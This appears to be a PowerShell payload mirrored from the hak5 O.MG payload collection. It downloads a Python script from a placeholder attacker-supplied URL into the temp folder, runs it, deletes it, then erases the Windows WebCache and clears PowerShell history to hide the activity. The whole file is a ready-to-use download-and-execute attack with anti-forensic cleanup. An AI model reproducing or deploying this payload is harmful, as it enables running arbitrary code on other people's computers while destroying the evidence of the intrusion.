mirror of https://github.com/hak5/omg-payloads.git
19 lines
537 B
PowerShell
19 lines
537 B
PowerShell
|
# Download Python script
|
||
|
|
||
|
# Reply $scriptUrl with YOUR LINK. The Payload should be script.py
|
||
|
$scriptUrl = "YOUR_END_USER_LINK_WITH_PAYLOAD"
|
||
|
$savePath = "$env:temp\script.py"
|
||
|
(New-Object System.Net.WebClient).DownloadFile($scriptUrl, $savePath)
|
||
|
|
||
|
# Execute Python script
|
||
|
& python $savePath
|
||
|
|
||
|
# Delete the downloaded script
|
||
|
Remove-Item $savePath
|
||
|
|
||
|
# Clear the download history from the system's web cache
|
||
|
Remove-Item -Path "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\*" -Recurse -Force
|
||
|
|
||
|
# Clear the PowerShell command history
|
||
|
Clear-History
|